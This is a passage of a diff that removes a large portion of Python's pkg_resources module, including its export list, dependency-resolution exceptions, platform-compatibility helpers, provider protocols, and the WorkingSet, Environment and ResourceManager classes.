-    'get_entry_info',
-    'iter_entry_points',
-    'resource_string',
-    'resource_stream',
-    'resource_filename',
-    'resource_listdir',
-    'resource_exists',
-    'resource_isdir',
-    # Environmental control
-    'declare_namespace',
-    'working_set',
-    'add_activation_listener',
-    'find_distributions',
-    'set_extraction_path',
-    'cleanup_resources',
-    'get_default_cache',
-    # Primary implementation classes
-    'Environment',
-    'WorkingSet',
-    'ResourceManager',
-    'Distribution',
-    'Requirement',
-    'EntryPoint',
-    # Exceptions
-    'ResolutionError',
-    'VersionConflict',
-    'DistributionNotFound',
-    'UnknownExtra',
-    'ExtractionError',
-    # Warnings
-    'PEP440Warning',
-    # Parsing functions and string utilities
-    'parse_requirements',
-    'parse_version',
-    'safe_name',
-    'safe_version',
-    'get_platform',
-    'compatible_platforms',
-    'yield_lines',
-    'split_sections',
-    'safe_extra',
-    'to_filename',
-    'invalid_marker',
-    'evaluate_marker',
-    # filesystem utilities
-    'ensure_directory',
-    'normalize_path',
-    # Distribution "precedence" constants
-    'EGG_DIST',
-    'BINARY_DIST',
-    'SOURCE_DIST',
-    'CHECKOUT_DIST',
-    'DEVELOP_DIST',
-    # "Provider" interfaces, implementations, and registration/lookup APIs
-    'IMetadataProvider',
-    'IResourceProvider',
-    'FileMetadata',
-    'PathMetadata',
-    'EggMetadata',
-    'EmptyProvider',
-    'empty_provider',
-    'NullProvider',
-    'EggProvider',
-    'DefaultProvider',
-    'ZipProvider',
-    'register_finder',
-    'register_namespace_handler',
-    'register_loader_type',
-    'fixup_namespace_packages',
-    'get_importer',
-    # Warnings
-    'PkgResourcesDeprecationWarning',
-    # Deprecated/backward compatibility only
-    'run_main',
-    'AvailableDistributions',
-]
-
-
-class ResolutionError(Exception):
-    """Abstract base for dependency resolution errors"""
-
-    def __repr__(self):
-        return self.__class__.__name__ + repr(self.args)
-
-
-class VersionConflict(ResolutionError):
-    """
-    An already-installed version conflicts with the requested version.
-
-    Should be initialized with the installed Distribution and the requested
-    Requirement.
-    """
-
-    _template = "{self.dist} is installed but {self.req} is required"
-
-    @property
-    def dist(self) -> Distribution:
-        return self.args[0]
-
-    @property
-    def req(self) -> Requirement:
-        return self.args[1]
-
-    def report(self):
-        return self._template.format(**locals())
-
-    def with_context(self, required_by: set[Distribution | str]):
-        """
-        If required_by is non-empty, return a version of self that is a
-        ContextualVersionConflict.
-        """
-        if not required_by:
-            return self
-        args = self.args + (required_by,)
-        return ContextualVersionConflict(*args)
-
-
-class ContextualVersionConflict(VersionConflict):
-    """
-    A VersionConflict that accepts a third parameter, the set of the
-    requirements that required the installed Distribution.
-    """
-
-    _template = VersionConflict._template + ' by {self.required_by}'
-
-    @property
-    def required_by(self) -> set[str]:
-        return self.args[2]
-
-
-class DistributionNotFound(ResolutionError):
-    """A requested distribution was not found"""
-
-    _template = (
-        "The '{self.req}' distribution was not found "
-        "and is required by {self.requirers_str}"
-    )
-
-    @property
-    def req(self) -> Requirement:
-        return self.args[0]
-
-    @property
-    def requirers(self) -> set[str] | None:
-        return self.args[1]
-
-    @property
-    def requirers_str(self):
-        if not self.requirers:
-            return 'the application'
-        return ', '.join(self.requirers)
-
-    def report(self):
-        return self._template.format(**locals())
-
-    def __str__(self):
-        return self.report()
-
-
-class UnknownExtra(ResolutionError):
-    """Distribution doesn't have an "extra feature" of the given name"""
-
-
-_provider_factories: dict[type[_ModuleLike], _ProviderFactoryType] = {}
-
-PY_MAJOR = '{}.{}'.format(*sys.version_info)
-EGG_DIST = 3
-BINARY_DIST = 2
-SOURCE_DIST = 1
-CHECKOUT_DIST = 0
-DEVELOP_DIST = -1
-
-
-def register_loader_type(
-    loader_type: type[_ModuleLike], provider_factory: _ProviderFactoryType
-):
-    """Register `provider_factory` to make providers for `loader_type`
-
-    `loader_type` is the type or class of a PEP 302 ``module.__loader__``,
-    and `provider_factory` is a function that, passed a *module* object,
-    returns an ``IResourceProvider`` for that module.
-    """
-    _provider_factories[loader_type] = provider_factory
-
-
-@overload
-def get_provider(moduleOrReq: str) -> IResourceProvider: ...
-@overload
-def get_provider(moduleOrReq: Requirement) -> Distribution: ...
-def get_provider(moduleOrReq: str | Requirement) -> IResourceProvider | Distribution:
-    """Return an IResourceProvider for the named module or requirement"""
-    if isinstance(moduleOrReq, Requirement):
-        return working_set.find(moduleOrReq) or require(str(moduleOrReq))[0]
-    try:
-        module = sys.modules[moduleOrReq]
-    except KeyError:
-        __import__(moduleOrReq)
-        module = sys.modules[moduleOrReq]
-    loader = getattr(module, '__loader__', None)
-    return _find_adapter(_provider_factories, loader)(module)
-
-
-@functools.lru_cache(maxsize=None)
-def _macos_vers():
-    version = platform.mac_ver()[0]
-    # fallback for MacPorts
-    if version == '':
-        plist = '/System/Library/CoreServices/SystemVersion.plist'
-        if os.path.exists(plist):
-            with open(plist, 'rb') as fh:
-                plist_content = plistlib.load(fh)
-            if 'ProductVersion' in plist_content:
-                version = plist_content['ProductVersion']
-    return version.split('.')
-
-
-def _macos_arch(machine):
-    return {'PowerPC': 'ppc', 'Power_Macintosh': 'ppc'}.get(machine, machine)
-
-
-def get_build_platform():
-    """Return this platform's string for platform-specific distributions
-
-    XXX Currently this is the same as ``distutils.util.get_platform()``, but it
-    needs some hacks for Linux and macOS.
-    """
-    from sysconfig import get_platform
-
-    plat = get_platform()
-    if sys.platform == "darwin" and not plat.startswith('macosx-'):
-        try:
-            version = _macos_vers()
-            machine = os.uname()[4].replace(" ", "_")
-            return "macosx-%d.%d-%s" % (
-                int(version[0]),
-                int(version[1]),
-                _macos_arch(machine),
-            )
-        except ValueError:
-            # if someone is running a non-Mac darwin system, this will fall
-            # through to the default implementation
-            pass
-    return plat
-
-
-macosVersionString = re.compile(r"macosx-(\d+)\.(\d+)-(.*)")
-darwinVersionString = re.compile(r"darwin-(\d+)\.(\d+)\.(\d+)-(.*)")
-# XXX backward compat
-get_platform = get_build_platform
-
-
-def compatible_platforms(provided: str | None, required: str | None):
-    """Can code for the `provided` platform run on the `required` platform?
-
-    Returns true if either platform is ``None``, or the platforms are equal.
-
-    XXX Needs compatibility checks for Linux and other unixy OSes.
-    """
-    if provided is None or required is None or provided == required:
-        # easy case
-        return True
-
-    # macOS special cases
-    reqMac = macosVersionString.match(required)
-    if reqMac:
-        provMac = macosVersionString.match(provided)
-
-        # is this a Mac package?
-        if not provMac:
-            # this is backwards compatibility for packages built before
-            # setuptools 0.6. All packages built after this point will
-            # use the new macOS designation.
-            provDarwin = darwinVersionString.match(provided)
-            if provDarwin:
-                dversion = int(provDarwin.group(1))
-                macosversion = "%s.%s" % (reqMac.group(1), reqMac.group(2))
-                if (
-                    dversion == 7
-                    and macosversion >= "10.3"
-                    or dversion == 8
-                    and macosversion >= "10.4"
-                ):
-                    return True
-            # egg isn't macOS or legacy darwin
-            return False
-
-        # are they the same major version and machine type?
-        if provMac.group(1) != reqMac.group(1) or provMac.group(3) != reqMac.group(3):
-            return False
-
-        # is the required OS major update >= the provided one?
-        if int(provMac.group(2)) > int(reqMac.group(2)):
-            return False
-
-        return True
-
-    # XXX Linux and other platforms' special cases should go here
-    return False
-
-
-@overload
-def get_distribution(dist: _DistributionT) -> _DistributionT: ...
-@overload
-def get_distribution(dist: _PkgReqType) -> Distribution: ...
-def get_distribution(dist: Distribution | _PkgReqType) -> Distribution:
-    """Return a current distribution object for a Requirement or string"""
-    if isinstance(dist, str):
-        dist = Requirement.parse(dist)
-    if isinstance(dist, Requirement):
-        # Bad type narrowing, dist has to be a Requirement here, so get_provider has to return Distribution
-        dist = get_provider(dist)  # type: ignore[assignment]
-    if not isinstance(dist, Distribution):
-        raise TypeError("Expected str, Requirement, or Distribution", dist)
-    return dist
-
-
-def load_entry_point(dist: _EPDistType, group: str, name: str) -> _ResolvedEntryPoint:
-    """Return `name` entry point of `group` for `dist` or raise ImportError"""
-    return get_distribution(dist).load_entry_point(group, name)
-
-
-@overload
-def get_entry_map(
-    dist: _EPDistType, group: None = None
-) -> dict[str, dict[str, EntryPoint]]: ...
-@overload
-def get_entry_map(dist: _EPDistType, group: str) -> dict[str, EntryPoint]: ...
-def get_entry_map(dist: _EPDistType, group: str | None = None):
-    """Return the entry point map for `group`, or the full entry map"""
-    return get_distribution(dist).get_entry_map(group)
-
-
-def get_entry_info(dist: _EPDistType, group: str, name: str):
-    """Return the EntryPoint object for `group`+`name`, or ``None``"""
-    return get_distribution(dist).get_entry_info(group, name)
-
-
-class IMetadataProvider(Protocol):
-    def has_metadata(self, name: str) -> bool:
-        """Does the package's distribution contain the named metadata?"""
-
-    def get_metadata(self, name: str) -> str:
-        """The named metadata resource as a string"""
-
-    def get_metadata_lines(self, name: str) -> Iterator[str]:
-        """Yield named metadata resource as list of non-blank non-comment lines
-
-        Leading and trailing whitespace is stripped from each line, and lines
-        with ``#`` as the first non-blank character are omitted."""
-
-    def metadata_isdir(self, name: str) -> bool:
-        """Is the named metadata a directory?  (like ``os.path.isdir()``)"""
-
-    def metadata_listdir(self, name: str) -> list[str]:
-        """List of metadata names in the directory (like ``os.listdir()``)"""
-
-    def run_script(self, script_name: str, namespace: dict[str, Any]) -> None:
-        """Execute the named script in the supplied namespace dictionary"""
-
-
-class IResourceProvider(IMetadataProvider, Protocol):
-    """An object that provides access to package resources"""
-
-    def get_resource_filename(
-        self, manager: ResourceManager, resource_name: str
-    ) -> str:
-        """Return a true filesystem path for `resource_name`
-
-        `manager` must be a ``ResourceManager``"""
-
-    def get_resource_stream(
-        self, manager: ResourceManager, resource_name: str
-    ) -> _ResourceStream:
-        """Return a readable file-like object for `resource_name`
-
-        `manager` must be a ``ResourceManager``"""
-
-    def get_resource_string(
-        self, manager: ResourceManager, resource_name: str
-    ) -> bytes:
-        """Return the contents of `resource_name` as :obj:`bytes`
-
-        `manager` must be a ``ResourceManager``"""
-
-    def has_resource(self, resource_name: str) -> bool:
-        """Does the package contain the named resource?"""
-
-    def resource_isdir(self, resource_name: str) -> bool:
-        """Is the named resource a directory?  (like ``os.path.isdir()``)"""
-
-    def resource_listdir(self, resource_name: str) -> list[str]:
-        """List of resource names in the directory (like ``os.listdir()``)"""
-
-
-class WorkingSet:
-    """A collection of active distributions on sys.path (or a similar list)"""
-
-    def __init__(self, entries: Iterable[str] | None = None):
-        """Create working set from list of path entries (default=sys.path)"""
-        self.entries: list[str] = []
-        self.entry_keys = {}
-        self.by_key = {}
-        self.normalized_to_canonical_keys = {}
-        self.callbacks = []
-
-        if entries is None:
-            entries = sys.path
-
-        for entry in entries:
-            self.add_entry(entry)
-
-    @classmethod
-    def _build_master(cls):
-        """
-        Prepare the master working set.
-        """
-        ws = cls()
-        try:
-            from __main__ import __requires__
-        except ImportError:
-            # The main program does not list any requirements
-            return ws
-
-        # ensure the requirements are met
-        try:
-            ws.require(__requires__)
-        except VersionConflict:
-            return cls._build_from_requirements(__requires__)
-
-        return ws
-
-    @classmethod
-    def _build_from_requirements(cls, req_spec):
-        """
-        Build a working set from a requirement spec. Rewrites sys.path.
-        """
-        # try it without defaults already on sys.path
-        # by starting with an empty path
-        ws = cls([])
-        reqs = parse_requirements(req_spec)
-        dists = ws.resolve(reqs, Environment())
-        for dist in dists:
-            ws.add(dist)
-
-        # add any missing entries from sys.path
-        for entry in sys.path:
-            if entry not in ws.entries:
-                ws.add_entry(entry)
-
-        # then copy back to sys.path
-        sys.path[:] = ws.entries
-        return ws
-
-    def add_entry(self, entry: str):
-        """Add a path item to ``.entries``, finding any distributions on it
-
-        ``find_distributions(entry, True)`` is used to find distributions
-        corresponding to the path entry, and they are added.  `entry` is
-        always appended to ``.entries``, even if it is already present.
-        (This is because ``sys.path`` can contain the same value more than
-        once, and the ``.entries`` of the ``sys.path`` WorkingSet should always
-        equal ``sys.path``.)
-        """
-        self.entry_keys.setdefault(entry, [])
-        self.entries.append(entry)
-        for dist in find_distributions(entry, True):
-            self.add(dist, entry, False)
-
-    def __contains__(self, dist: Distribution) -> bool:
-        """True if `dist` is the active distribution for its project"""
-        return self.by_key.get(dist.key) == dist
-
-    def find(self, req: Requirement) -> Distribution | None:
-        """Find a distribution matching requirement `req`
-
-        If there is an active distribution for the requested project, this
-        returns it as long as it meets the version requirement specified by
-        `req`.  But, if there is an active distribution for the project and it
-        does *not* meet the `req` requirement, ``VersionConflict`` is raised.
-        If there is no active distribution for the requested project, ``None``
-        is returned.
-        """
-        dist = self.by_key.get(req.key)
-
-        if dist is None:
-            canonical_key = self.normalized_to_canonical_keys.get(req.key)
-
-            if canonical_key is not None:
-                req.key = canonical_key
-                dist = self.by_key.get(canonical_key)
-
-        if dist is not None and dist not in req:
-            # XXX add more info
-            raise VersionConflict(dist, req)
-        return dist
-
-    def iter_entry_points(self, group: str, name: str | None = None):
-        """Yield entry point objects from `group` matching `name`
-
-        If `name` is None, yields all entry points in `group` from all
-        distributions in the working set, otherwise only ones matching
-        both `group` and `name` are yielded (in distribution order).
-        """
-        return (
-            entry
-            for dist in self
-            for entry in dist.get_entry_map(group).values()
-            if name is None or name == entry.name
-        )
-
-    def run_script(self, requires: str, script_name: str):
-        """Locate distribution for `requires` and run `script_name` script"""
-        ns = sys._getframe(1).f_globals
-        name = ns['__name__']
-        ns.clear()
-        ns['__name__'] = name
-        self.require(requires)[0].run_script(script_name, ns)
-
-    def __iter__(self) -> Iterator[Distribution]:
-        """Yield distributions for non-duplicate projects in the working set
-
-        The yield order is the order in which the items' path entries were
-        added to the working set.
-        """
-        seen = set()
-        for item in self.entries:
-            if item not in self.entry_keys:
-                # workaround a cache issue
-                continue
-
-            for key in self.entry_keys[item]:
-                if key not in seen:
-                    seen.add(key)
-                    yield self.by_key[key]
-
-    def add(
-        self,
-        dist: Distribution,
-        entry: str | None = None,
-        insert: bool = True,
-        replace: bool = False,
-    ):
-        """Add `dist` to working set, associated with `entry`
-
-        If `entry` is unspecified, it defaults to the ``.location`` of `dist`.
-        On exit from this routine, `entry` is added to the end of the working
-        set's ``.entries`` (if it wasn't already present).
-
-        `dist` is only added to the working set if it's for a project that
-        doesn't already have a distribution in the set, unless `replace=True`.
-        If it's added, any callbacks registered with the ``subscribe()`` method
-        will be called.
-        """
-        if insert:
-            dist.insert_on(self.entries, entry, replace=replace)
-
-        if entry is None:
-            entry = dist.location
-        keys = self.entry_keys.setdefault(entry, [])
-        keys2 = self.entry_keys.setdefault(dist.location, [])
-        if not replace and dist.key in self.by_key:
-            # ignore hidden distros
-            return
-
-        self.by_key[dist.key] = dist
-        normalized_name = _packaging_utils.canonicalize_name(dist.key)
-        self.normalized_to_canonical_keys[normalized_name] = dist.key
-        if dist.key not in keys:
-            keys.append(dist.key)
-        if dist.key not in keys2:
-            keys2.append(dist.key)
-        self._added_new(dist)
-
-    @overload
-    def resolve(
-        self,
-        requirements: Iterable[Requirement],
-        env: Environment | None,
-        installer: _InstallerTypeT[_DistributionT],
-        replace_conflicting: bool = False,
-        extras: tuple[str, ...] | None = None,
-    ) -> list[_DistributionT]: ...
-    @overload
-    def resolve(
-        self,
-        requirements: Iterable[Requirement],
-        env: Environment | None = None,
-        *,
-        installer: _InstallerTypeT[_DistributionT],
-        replace_conflicting: bool = False,
-        extras: tuple[str, ...] | None = None,
-    ) -> list[_DistributionT]: ...
-    @overload
-    def resolve(
-        self,
-        requirements: Iterable[Requirement],
-        env: Environment | None = None,
-        installer: _InstallerType | None = None,
-        replace_conflicting: bool = False,
-        extras: tuple[str, ...] | None = None,
-    ) -> list[Distribution]: ...
-    def resolve(
-        self,
-        requirements: Iterable[Requirement],
-        env: Environment | None = None,
-        installer: _InstallerType | None | _InstallerTypeT[_DistributionT] = None,
-        replace_conflicting: bool = False,
-        extras: tuple[str, ...] | None = None,
-    ) -> list[Distribution] | list[_DistributionT]:
-        """List all distributions needed to (recursively) meet `requirements`
-
-        `requirements` must be a sequence of ``Requirement`` objects.  `env`,
-        if supplied, should be an ``Environment`` instance.  If
-        not supplied, it defaults to all distributions available within any
-        entry or distribution in the working set.  `installer`, if supplied,
-        will be invoked with each requirement that cannot be met by an
-        already-installed distribution; it should return a ``Distribution`` or
-        ``None``.
-
-        Unless `replace_conflicting=True`, raises a VersionConflict exception
-        if
-        any requirements are found on the path that have the correct name but
-        the wrong version.  Otherwise, if an `installer` is supplied it will be
-        invoked to obtain the correct version of the requirement and activate
-        it.
-
-        `extras` is a list of the extras to be used with these requirements.
-        This is important because extra requirements may look like `my_req;
-        extra = "my_extra"`, which would otherwise be interpreted as a purely
-        optional requirement.  Instead, we want to be able to assert that these
-        requirements are truly required.
-        """
-
-        # set up the stack
-        requirements = list(requirements)[::-1]
-        # set of processed requirements
-        processed = set()
-        # key -> dist
-        best = {}
-        to_activate = []
-
-        req_extras = _ReqExtras()
-
-        # Mapping of requirement to set of distributions that required it;
-        # useful for reporting info about conflicts.
-        required_by = collections.defaultdict(set)
-
-        while requirements:
-            # process dependencies breadth-first
-            req = requirements.pop(0)
-            if req in processed:
-                # Ignore cyclic or redundant dependencies
-                continue
-
-            if not req_extras.markers_pass(req, extras):
-                continue
-
-            dist = self._resolve_dist(
-                req, best, replace_conflicting, env, installer, required_by, to_activate
-            )
-
-            # push the new requirements onto the stack
-            new_requirements = dist.requires(req.extras)[::-1]
-            requirements.extend(new_requirements)
-
-            # Register the new requirements needed by req
-            for new_requirement in new_requirements:
-                required_by[new_requirement].add(req.project_name)
-                req_extras[new_requirement] = req.extras
-
-            processed.add(req)
-
-        # return list of distros to activate
-        return to_activate
-
-    def _resolve_dist(
-        self, req, best, replace_conflicting, env, installer, required_by, to_activate
-    ) -> Distribution:
-        dist = best.get(req.key)
-        if dist is None:
-            # Find the best distribution and add it to the map
-            dist = self.by_key.get(req.key)
-            if dist is None or (dist not in req and replace_conflicting):
-                ws = self
-                if env is None:
-                    if dist is None:
-                        env = Environment(self.entries)
-                    else:
-                        # Use an empty environment and workingset to avoid
-                        # any further conflicts with the conflicting
-                        # distribution
-                        env = Environment([])
-                        ws = WorkingSet([])
-                dist = best[req.key] = env.best_match(
-                    req, ws, installer, replace_conflicting=replace_conflicting
-                )
-                if dist is None:
-                    requirers = required_by.get(req, None)
-                    raise DistributionNotFound(req, requirers)
-            to_activate.append(dist)
-        if dist not in req:
-            # Oops, the "best" so far conflicts with a dependency
-            dependent_req = required_by[req]
-            raise VersionConflict(dist, req).with_context(dependent_req)
-        return dist
-
-    @overload
-    def find_plugins(
-        self,
-        plugin_env: Environment,
-        full_env: Environment | None,
-        installer: _InstallerTypeT[_DistributionT],
-        fallback: bool = True,
-    ) -> tuple[list[_DistributionT], dict[Distribution, Exception]]: ...
-    @overload
-    def find_plugins(
-        self,
-        plugin_env: Environment,
-        full_env: Environment | None = None,
-        *,
-        installer: _InstallerTypeT[_DistributionT],
-        fallback: bool = True,
-    ) -> tuple[list[_DistributionT], dict[Distribution, Exception]]: ...
-    @overload
-    def find_plugins(
-        self,
-        plugin_env: Environment,
-        full_env: Environment | None = None,
-        installer: _InstallerType | None = None,
-        fallback: bool = True,
-    ) -> tuple[list[Distribution], dict[Distribution, Exception]]: ...
-    def find_plugins(
-        self,
-        plugin_env: Environment,
-        full_env: Environment | None = None,
-        installer: _InstallerType | None | _InstallerTypeT[_DistributionT] = None,
-        fallback: bool = True,
-    ) -> tuple[
-        list[Distribution] | list[_DistributionT],
-        dict[Distribution, Exception],
-    ]:
-        """Find all activatable distributions in `plugin_env`
-
-        Example usage::
-
-            distributions, errors = working_set.find_plugins(
-                Environment(plugin_dirlist)
-            )
-            # add plugins+libs to sys.path
-            map(working_set.add, distributions)
-            # display errors
-            print('Could not load', errors)
-
-        The `plugin_env` should be an ``Environment`` instance that contains
-        only distributions that are in the project's "plugin directory" or
-        directories. The `full_env`, if supplied, should be an ``Environment``
-        contains all currently-available distributions.  If `full_env` is not
-        supplied, one is created automatically from the ``WorkingSet`` this
-        method is called on, which will typically mean that every directory on
-        ``sys.path`` will be scanned for distributions.
-
-        `installer` is a standard installer callback as used by the
-        ``resolve()`` method. The `fallback` flag indicates whether we should
-        attempt to resolve older versions of a plugin if the newest version
-        cannot be resolved.
-
-        This method returns a 2-tuple: (`distributions`, `error_info`), where
-        `distributions` is a list of the distributions found in `plugin_env`
-        that were loadable, along with any other distributions that are needed
-        to resolve their dependencies.  `error_info` is a dictionary mapping
-        unloadable plugin distributions to an exception instance describing the
-        error that occurred. Usually this will be a ``DistributionNotFound`` or
-        ``VersionConflict`` instance.
-        """
-
-        plugin_projects = list(plugin_env)
-        # scan project names in alphabetic order
-        plugin_projects.sort()
-
-        error_info: dict[Distribution, Exception] = {}
-        distributions: dict[Distribution, Exception | None] = {}
-
-        if full_env is None:
-            env = Environment(self.entries)
-            env += plugin_env
-        else:
-            env = full_env + plugin_env
-
-        shadow_set = self.__class__([])
-        # put all our entries in shadow_set
-        list(map(shadow_set.add, self))
-
-        for project_name in plugin_projects:
-            for dist in plugin_env[project_name]:
-                req = [dist.as_requirement()]
-
-                try:
-                    resolvees = shadow_set.resolve(req, env, installer)
-
-                except ResolutionError as v:
-                    # save error info
-                    error_info[dist] = v
-                    if fallback:
-                        # try the next older version of project
-                        continue
-                    else:
-                        # give up on this project, keep going
-                        break
-
-                else:
-                    list(map(shadow_set.add, resolvees))
-                    distributions.update(dict.fromkeys(resolvees))
-
-                    # success, no need to try any more versions of this project
-                    break
-
-        sorted_distributions = list(distributions)
-        sorted_distributions.sort()
-
-        return sorted_distributions, error_info
-
-    def require(self, *requirements: _NestedStr):
-        """Ensure that distributions matching `requirements` are activated
-
-        `requirements` must be a string or a (possibly-nested) sequence
-        thereof, specifying the distributions and versions required.  The
-        return value is a sequence of the distributions that needed to be
-        activated to fulfill the requirements; all relevant distributions are
-        included, even if they were already activated in this working set.
-        """
-        needed = self.resolve(parse_requirements(requirements))
-
-        for dist in needed:
-            self.add(dist)
-
-        return needed
-
-    def subscribe(
-        self, callback: Callable[[Distribution], object], existing: bool = True
-    ):
-        """Invoke `callback` for all distributions
-
-        If `existing=True` (default),
-        call on all existing ones, as well.
-        """
-        if callback in self.callbacks:
-            return
-        self.callbacks.append(callback)
-        if not existing:
-            return
-        for dist in self:
-            callback(dist)
-
-    def _added_new(self, dist):
-        for callback in self.callbacks:
-            callback(dist)
-
-    def __getstate__(self):
-        return (
-            self.entries[:],
-            self.entry_keys.copy(),
-            self.by_key.copy(),
-            self.normalized_to_canonical_keys.copy(),
-            self.callbacks[:],
-        )
-
-    def __setstate__(self, e_k_b_n_c):
-        entries, keys, by_key, normalized_to_canonical_keys, callbacks = e_k_b_n_c
-        self.entries = entries[:]
-        self.entry_keys = keys.copy()
-        self.by_key = by_key.copy()
-        self.normalized_to_canonical_keys = normalized_to_canonical_keys.copy()
-        self.callbacks = callbacks[:]
-
-
-class _ReqExtras(Dict["Requirement", Tuple[str, ...]]):
-    """
-    Map each requirement to the extras that demanded it.
-    """
-
-    def markers_pass(self, req: Requirement, extras: tuple[str, ...] | None = None):
-        """
-        Evaluate markers for req against each extra that
-        demanded it.
-
-        Return False if the req has a marker and fails
-        evaluation. Otherwise, return True.
-        """
-        extra_evals = (
-            req.marker.evaluate({'extra': extra})
-            for extra in self.get(req, ()) + (extras or (None,))
-        )
-        return not req.marker or any(extra_evals)
-
-
-class Environment:
-    """Searchable snapshot of distributions on a search path"""
-
-    def __init__(
-        self,
-        search_path: Iterable[str] | None = None,
-        platform: str | None = get_supported_platform(),
-        python: str | None = PY_MAJOR,
-    ):
-        """Snapshot distributions available on a search path
-
-        Any distributions found on `search_path` are added to the environment.
-        `search_path` should be a sequence of ``sys.path`` items.  If not
-        supplied, ``sys.path`` is used.
-
-        `platform` is an optional string specifying the name of the platform
-        that platform-specific distributions must be compatible with.  If
-        unspecified, it defaults to the current platform.  `python` is an
-        optional string naming the desired version of Python (e.g. ``'3.6'``);
-        it defaults to the current version.
-
-        You may explicitly set `platform` (and/or `python`) to ``None`` if you
-        wish to map *all* distributions, not just those compatible with the
-        running platform or Python version.
-        """
-        self._distmap = {}
-        self.platform = platform
-        self.python = python
-        self.scan(search_path)
-
-    def can_add(self, dist: Distribution):
-        """Is distribution `dist` acceptable for this environment?
-
-        The distribution must match the platform and python version
-        requirements specified when this environment was created, or False
-        is returned.
-        """
-        py_compat = (
-            self.python is None
-            or dist.py_version is None
-            or dist.py_version == self.python
-        )
-        return py_compat and compatible_platforms(dist.platform, self.platform)
-
-    def remove(self, dist: Distribution):
-        """Remove `dist` from the environment"""
-        self._distmap[dist.key].remove(dist)
-
-    def scan(self, search_path: Iterable[str] | None = None):
-        """Scan `search_path` for distributions usable in this environment
-
-        Any distributions found are added to the environment.
-        `search_path` should be a sequence of ``sys.path`` items.  If not
-        supplied, ``sys.path`` is used.  Only distributions conforming to
-        the platform/python version defined at initialization are added.
-        """
-        if search_path is None:
-            search_path = sys.path
-
-        for item in search_path:
-            for dist in find_distributions(item):
-                self.add(dist)
-
-    def __getitem__(self, project_name: str) -> list[Distribution]:
-        """Return a newest-to-oldest list of distributions for `project_name`
-
-        Uses case-insensitive `project_name` comparison, assuming all the
-        project's distributions use their project's name converted to all
-        lowercase as their key.
-
-        """
-        distribution_key = project_name.lower()
-        return self._distmap.get(distribution_key, [])
-
-    def add(self, dist: Distribution):
-        """Add `dist` if we ``can_add()`` it and it has not already been added"""
-        if self.can_add(dist) and dist.has_version():
-            dists = self._distmap.setdefault(dist.key, [])
-            if dist not in dists:
-                dists.append(dist)
-                dists.sort(key=operator.attrgetter('hashcmp'), reverse=True)
-
-    @overload
-    def best_match(
-        self,
-        req: Requirement,
-        working_set: WorkingSet,
-        installer: _InstallerTypeT[_DistributionT],
-        replace_conflicting: bool = False,
-    ) -> _DistributionT: ...
-    @overload
-    def best_match(
-        self,
-        req: Requirement,
-        working_set: WorkingSet,
-        installer: _InstallerType | None = None,
-        replace_conflicting: bool = False,
-    ) -> Distribution | None: ...
-    def best_match(
-        self,
-        req: Requirement,
-        working_set: WorkingSet,
-        installer: _InstallerType | None | _InstallerTypeT[_DistributionT] = None,
-        replace_conflicting: bool = False,
-    ) -> Distribution | None:
-        """Find distribution best matching `req` and usable on `working_set`
-
-        This calls the ``find(req)`` method of the `working_set` to see if a
-        suitable distribution is already active.  (This may raise
-        ``VersionConflict`` if an unsuitable version of the project is already
-        active in the specified `working_set`.)  If a suitable distribution
-        isn't active, this method returns the newest distribution in the
-        environment that meets the ``Requirement`` in `req`.  If no suitable
-        distribution is found, and `installer` is supplied, then the result of
-        calling the environment's ``obtain(req, installer)`` method will be
-        returned.
-        """
-        try:
-            dist = working_set.find(req)
-        except VersionConflict:
-            if not replace_conflicting:
-                raise
-            dist = None
-        if dist is not None:
-            return dist
-        for dist in self[req.key]:
-            if dist in req:
-                return dist
-        # try to download/install
-        return self.obtain(req, installer)
-
-    @overload
-    def obtain(
-        self,
-        requirement: Requirement,
-        installer: _InstallerTypeT[_DistributionT],
-    ) -> _DistributionT: ...
-    @overload
-    def obtain(
-        self,
-        requirement: Requirement,
-        installer: Callable[[Requirement], None] | None = None,
-    ) -> None: ...
-    @overload
-    def obtain(
-        self,
-        requirement: Requirement,
-        installer: _InstallerType | None = None,
-    ) -> Distribution | None: ...
-    def obtain(
-        self,
-        requirement: Requirement,
-        installer: Callable[[Requirement], None]
-        | _InstallerType
-        | None
-        | _InstallerTypeT[_DistributionT] = None,
-    ) -> Distribution | None:
-        """Obtain a distribution matching `requirement` (e.g. via download)
-
-        Obtain a distro that matches requirement (e.g. via download).  In the
-        base ``Environment`` class, this routine just returns
-        ``installer(requirement)``, unless `installer` is None, in which case
-        None is returned instead.  This method is a hook that allows subclasses
-        to attempt other ways of obtaining a distribution before falling back
-        to the `installer` argument."""
-        return installer(requirement) if installer else None
-
-    def __iter__(self) -> Iterator[str]:
-        """Yield the unique project names of the available distributions"""
-        for key in self._distmap.keys():
-            if self[key]:
-                yield key
-
-    def __iadd__(self, other: Distribution | Environment):
-        """In-place addition of a distribution or environment"""
-        if isinstance(other, Distribution):
-            self.add(other)
-        elif isinstance(other, Environment):
-            for project in other:
-                for dist in other[project]:
-                    self.add(dist)
-        else:
-            raise TypeError("Can't add %r to environment" % (other,))
-        return self
-
-    def __add__(self, other: Distribution | Environment):
-        """Add an environment or distribution to an environment"""
-        new = self.__class__([], platform=None, python=None)
-        for env in self, other:
-            new += env
-        return new
-
-
-# XXX backward compatibility
-AvailableDistributions = Environment
-
-
-class ExtractionError(RuntimeError):
-    """An error occurred extracting a resource
-
-    The following attributes are available from instances of this exception:
-
-    manager
-        The resource manager that raised this exception
-
-    cache_path
-        The base directory for resource extraction
-
-    original_error
-        The exception instance that caused extraction to fail
-    """
-
-    manager: ResourceManager
-    cache_path: str
-    original_error: BaseException | None
-
-
-class ResourceManager:
-    """Manage resource extraction and packages"""
-
-    extraction_path: str | None = None
-
-    def __init__(self):
-        self.cached_files = {}
-
-    def resource_exists(self, package_or_requirement: _PkgReqType, resource_name: str):
-        """Does the named resource exist?"""
-        return get_provider(package_or_requirement).has_resource(resource_name)
-
-    def resource_isdir(self, package_or_requirement: _PkgReqType, resource_name: str):
-        """Is the named resource an existing directory?"""
-        return get_provider(package_or_requirement).resource_isdir(resource_name)
-
-    def resource_filename(
-        self, package_or_requirement: _PkgReqType, resource_name: str
-    ):
-        """Return a true filesystem path for specified resource"""
-        return get_provider(package_or_requirement).get_resource_filename(
-            self, resource_name
-        )
-
-    def resource_stream(self, package_or_requirement: _PkgReqType, resource_name: str):
-        """Return a readable file-like object for specified resource"""
-        return get_provider(package_or_requirement).get_resource_stream(
-            self, resource_name
-        )
-
-    def resource_string(
-        self, package_or_requirement: _PkgReqType, resource_name: str
-    ) -> bytes:
-        """Return specified resource as :obj:`bytes`"""
-        return get_provider(package_or_requirement).get_resource_string(
-            self, resource_name
-        )
-
